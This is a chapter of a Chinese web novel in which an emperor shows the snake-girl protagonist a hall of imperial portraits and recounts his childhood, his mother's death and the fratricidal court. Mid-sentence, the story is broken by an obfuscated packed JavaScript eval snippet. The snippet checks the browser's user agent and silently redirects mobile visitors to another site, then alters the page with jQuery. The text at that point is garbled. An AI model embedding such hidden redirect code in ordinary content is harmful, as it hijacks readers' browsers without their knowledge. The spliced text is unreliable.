18. 第 18 章
作品:《囚蛇》 若人生有后悔药,谢冬瑗一定不会问周清玄那个问题。
可世间从无若当初,她终究还是问了,问得轻巧,却不知那轻飘飘的一句话,将会把她拖入怎样的深渊。
那一次,周清玄怀着私心,将谢冬瑗带入他堕入深渊的世界。
-
谢冬瑗蜷曲在周清玄的肩膀上,穿过一道道宫门。越往深处走,灯火越稀,宫人也越少。
最后,他们停在一座七层楼阁前。
这座阁楼与皇宫中其他建筑截然不同,它不点灯,漆黑一片,像一只蛰伏在夜色中的巨兽。
月光勉强勾勒出它的轮廓,飞檐翘角在夜幕中划出冷硬的线条。奇怪的是,阁楼周围却由重兵把守,金吾卫身披铠甲,手持长戟,见到周清玄时,为首的将领明显一怔。
“陛下,”那将领单膝跪地,“不知此时来神宫,是皇宫内出现了什么紧急情况吗?”
周清玄的目光越过他,望向那座漆黑的楼阁:“无事,朕只想进来看看。”
金吾卫们对视一眼,默默让开道路。
福安推着周清玄向前,到了阁楼门前,周清玄却抬手制止:“福安,你在外边等我。”
“陛下……”福安欲言又止,最终还是躬身退下,“是。”
谢冬瑗注意到,福安退下时,目光在神宫紧闭的大门上停留了片刻,那双眼睛里闪过一丝难以名状的情绪。
是好奇,还是畏惧?她说不清。
宫里对这座宫殿有诸多传闻。有人说里面藏着周氏皇族世代积累的珍宝,价值连城。有人说曾在深夜听见里面传来痛苦的哀嚎,如怨如诉。还有人说,住在里面的那位神官,其实是个长生不老的妖怪,靠吸食皇族气运延续生命。
但有一点可以确定的是,神宫里面住的是那位神秘的神官。
神官这个职位,自周国第二任皇帝登基时便已存在。他不涉朝政,不问俗务,终日戴着铜金色面具,无人见过其真容。
他只服务于周国皇帝,极少出现在人前,偶尔出现在宴会上,也只是静坐一隅,仿佛与周遭的热闹格格不入。
有宫人曾远远望见他晚上时立在水榭旁,月光洒在他金色的面具上,如同恶魔罗刹,吓得那宫人连夜发了高烧。
谢冬瑗正出神,周清玄已推开了神宫的门。
沉重的木门缓缓打开,一股陈旧的气息扑面而来,混合着灰尘与某种难以言喻的、类似檀香又似药草的味道。
随着他们踏入,不可思议的一幕发生了。殿内的灯,一盏接一盏地自动亮了起来。
不是被人点燃,而是仿佛有生命般,自近及远,次第绽放光明。暖黄色的火光从墙壁上的琉璃灯盏中溢出,逐渐驱散黑暗,将整座一楼大殿照得通明。
谢冬瑗被吓得浑身一激灵,差点从周清玄的肩膀上掉了下来。
“木木,不要担心。”周清玄的手覆上她的蛇身,“这是神宫感应到我们来了。”
他的语气平淡,仿佛在说一件再寻常不过的事。
谢冬瑗却心头震动,这宫殿竟如此神奇,无人点灯,却能自亮,简直就是古代版自动感应灯。
灯光完全亮起后,大殿的全貌展现在眼前。
这里没有寻常宫殿的奢华装饰,反而空旷得近乎肃杀。四壁悬挂着一幅幅画像,每幅画上都绘着一位身穿龙袍的男子。
这里放着的是周国历代皇帝的御容。
周清玄转动轮椅,缓缓行至最前端那幅画像下。
“这是周国的开国皇帝,周清?。”他仰头望着画像,声音在空旷的大殿里产生轻微的回响。
谢冬瑗顺着他的目光看去,不由得怔住了。
画中的男人穿着一身墨黑色龙袍,上面用金线绣着腾云驾雾的蟠龙。与其他正襟危坐、面色威严的帝王像不同,这位开国皇帝随意地斜靠在龙椅上,头微微后仰,唇角上扬,正肆意张狂地大笑着。
他的眉眼与周清玄有七八分相似,尤其是那双微微上挑的凤眼,可气质却天差地别。
画中人浑身散发着蓬勃的生机与野性,仿佛下一秒就会从画中跃出,策马驰骋天下。
而周清玄,身上总是带着一种死人感,即便在笑时,眼底也总凝着一层化不开的寒冰。
谢冬瑗看得入了迷。她想,若周清玄是这般模样,她在帝王冢第一次见到他时,或许不用演戏,便会喜欢上他的皮囊。
“他很特别,是不是?”周清玄的声音忽然响起,带着一丝不易察觉的喟叹,“史书记载,太祖皇帝生性狂傲不羁,二十岁前还是个游侠,走遍九州,结交豪杰。后来天下大乱,他振臂一呼,用了十年时间平定四方,建立了大周。登基那日,他在太极殿前当着文武百官的面说:‘这龙椅坐着硌人,不如我的马鞍舒服。’”
谢冬瑗忍不住笑了,随即又意识到不妥,忙掩住口。
周清玄却没有责怪,反而继续道:“可这样的一个人,在位十年后,却变得沉默寡言,终日困守深宫。临终前,他命人建了这座神宫,并立下祖训:周国历代皇帝,必须供奉神官,神官之言,即天意所示。”
他转动轮椅,一幅幅画像看过去。谢冬瑗跟在他身侧,看着画中人的面容逐渐从张扬变得内敛,从狂放变得深沉。龙袍的颜色也从浓烈的玄黑,渐渐转为深紫、暗红,到最后几任,已是庄重却压抑的明黄。
终于,他们在最后一幅画像前停下。
画中的男子穿着明黄龙袍,头戴冕旒,面容清癯,眼神却锐利如鹰。他的双手交叠置于膝上,姿态端正得近乎刻板,与开国皇帝那幅画的随性形成了鲜明对比。
周清玄注视着这幅画像,久久不语。
良久,他终于开口,声音轻得仿佛自言自语:
“我知道,我的腿伤是因为心结而起。”
谢冬瑗心头一震,周清玄要开始说他的心结了。
“若说这心结因何而起,”周清玄的目光仍停留在画像上,却又好像穿透了画布,看到了更遥远的过去,“那可要追究到我小时候。”
他顿了顿,似乎在下定某种决心。
“我的母亲并非什么大家族出身,她只是一个小官的女儿,因容貌出众被选入宫中。我六岁那年,她在一个雨夜自缢而亡。”周清玄平静的说。
“宫人发现时,她的身体已经凉透。他们说她是因为久病厌世,可我知道不是。”
“那段时间,她常常抱着我,一遍遍地说:‘玄儿,你要记住,在这宫里,不要相信任何人,包括你父亲。’我当时不懂,现在想来,她大概早就知道自己活不长了。”
“父皇的孩子很多,我只是其中一个。”周清玄继续道,嘴角勾起一抹讽刺的弧度,“他从未将过多关注放在我身上。所以我从小就知道,我并没有成为周国皇帝的资格。”
“这个皇宫有很多阴谋算计。妃子上吊自杀是常事,小孩子意外夭折也不稀奇。我自知无力保护母亲,父亲也不记得我这个儿子,于是十二岁那年,我自行请命,去做了个闲云野鹤的道士。”
谢冬瑗想象着那个场景,一个十二岁的少年,跪在威严的帝王面前,平静地说自己想出家修道。
他的父亲,那位画中眼神锐利的皇帝,会是什么反应?
是如释重负,还是漠不关心?
“也是因为我的存在感太低,我的那些皇兄只顾着内斗,无人阻拦我离开。”周清玄的语气里听不出情绪,“我去了五台山下的清虚观,一待就是五年。”
说到这儿,他的脸上浮现出一丝极淡的、真实的笑意。
“也就是在那里,我遇见了在五台山习武的阿城。”
周清城,那个讨人厌的傻大个。谢冬瑗悄悄翻了个白眼。
“他很小就显露出惊人的武学天赋,被父皇当做将才培养,十岁就被送上五台山。”周清玄的眼神变得柔和,“他知道我也在五台山,高兴坏了,时常偷偷溜下山来找我。”
他似乎陷入了回忆,语速放缓:
“清虚观很清苦,每日天不亮就要起床诵经、洒扫、挑水。可那五年,却是我一生中最快乐的时光。阿城总是跑得气喘吁吁地下山,满头大汗,一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16952412|192639||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
进观门就直奔水缸,把头埋进去咕咚咕咚地喝水,惹得观里的师父干瞪眼。”
周清玄轻轻笑了声:“喝完水,他就拉着我往后山跑。春天我们挑水灌溉地里的油菜花,夏天在溪涧里摸鱼,秋天捡红叶写字,冬天五台山的冬天很冷,大雪封山时,阿城就带着偷偷藏起来的红薯,我们躲在柴房里烤着吃,烫得直呵气。”
他的描述如此生动,谢冬瑗几乎能看见那两个少年,一个沉静瘦削,一个活泼健壮,在青山绿水间奔跑嬉笑,远离宫廷的尔虞我诈。
“有一次,阿城在山里逮到一只受伤的小鹿,我们偷偷养在观后的竹林里。小鹿很怕生,只肯亲近阿城,每次他来,那小鹿就会蹦跳着迎上去。”周清玄的眼神暗了暗,“后来小鹿的伤好了,阿城说该放它回山林。放走那天,小鹿一步三回头,阿城蹲在地上,哭得像个孩子。”
他停顿了很久,大殿里再次陷入沉寂。
“那五年,我们建立了比其他兄弟更深厚的感情。”周清玄眼神有些暗淡,“我曾天真地以为,那样的日子会一直持续下去。”
谢冬瑗忍不住问:“后来发生了什么?”
周清玄没有立刻回答。他转动轮椅,缓缓驶向大殿深处。谢冬瑗跟上,发现那里有一道长长的木楼梯,通往上层。
若是轮椅,将无法通过,只能靠走上去。
周清玄仰头望着楼梯上方那片深邃的黑暗,仿佛在凝视着通往过去的甬道。
“后来,父皇的儿子们死得差不多了。”他的声音冷了下来,“他自知无法再生育子嗣,于是开始害怕王朝无人继承。他开始疯狂地寻找流落宫外的皇子。”
“我和阿城,就是被他找回来的。”
时隔五年再见到父皇,那情景至今仍清晰刻在周清玄的记忆里。自儿时随父皇去过一次帝王冢后,父子相见便屈指可数。
父皇对他从不挂心,他也未曾对这个父亲怀抱温情。
周清玄闭上眼,深吸一口气:
“我永远记得回宫那天的情景。我和阿城被一队禁军护送回京。进宫后,我们被直接带到太极殿。五年不见,父皇老了很多,两鬓斑白,眼窝深陷,可那双眼睛依旧锐利。”
“他先看向阿城,上下打量,然后满意地点点头,说:‘长高了,也壮实了,很好,以后定能守护好大周的江山。’”
“然后他看向我。”周清玄睁开眼睛,那双凤眼里没有任何情绪,“他只说了一句:‘太瘦了,道观的伙食那么差吗?’”
谢冬瑗心中一阵酸楚。五年的离别,父亲对勇武的弟弟赞赏有加,对体弱的兄长却只有一句无关痛痒的评价。
那种被忽视,被轻慢的滋味,该有多伤人?
“回到皇宫后,我才发现,父皇原本三十几个儿子,死的死,废的废,只剩八个。皇宫里死气沉沉,每个人眼里都闪烁着算计的光芒。比我离开前,还要糟糕百倍。”
周清玄讥讽道:“他们都想当皇帝,可皇位只有一个。于是他们自相残杀,明枪暗箭,无所不用其极。长此以往,兄弟之间没有亲情,只剩下你死我活的争斗。”
他忽然转头,死死盯住自己的腿,眼神凌厉如刃:
“而父皇,是故意的。”
谢冬瑗心头一跳。
“他冷眼旁观儿子们互相残杀,甚至暗中推波助澜。”周清玄一字一句道,“他要看着我们自相残杀,从中选出最冷酷、最无情、最适合坐在那张龙椅上的人。”
他的声音在大殿中回荡,撞在墙壁上,反弹回来,层层叠叠,如同无数个声音在重复这残酷的真相。
她忽然明白,为什么周清玄总是那么阴郁,为什么他的眼中永远结着冰。
在这样一个父亲,这样一群兄弟,这样一个皇宫里长大,谁能不变成怪物?
“阿城回来后,被封为护国大将军,常年驻守边关。”周清玄的语气重新变得平淡,却更令人心悸,“而我,因为体弱多病,又曾出家修道,被所有人视为最无威胁的一个。也正是因此,他们轻视我,将所有恶意转向了我。”

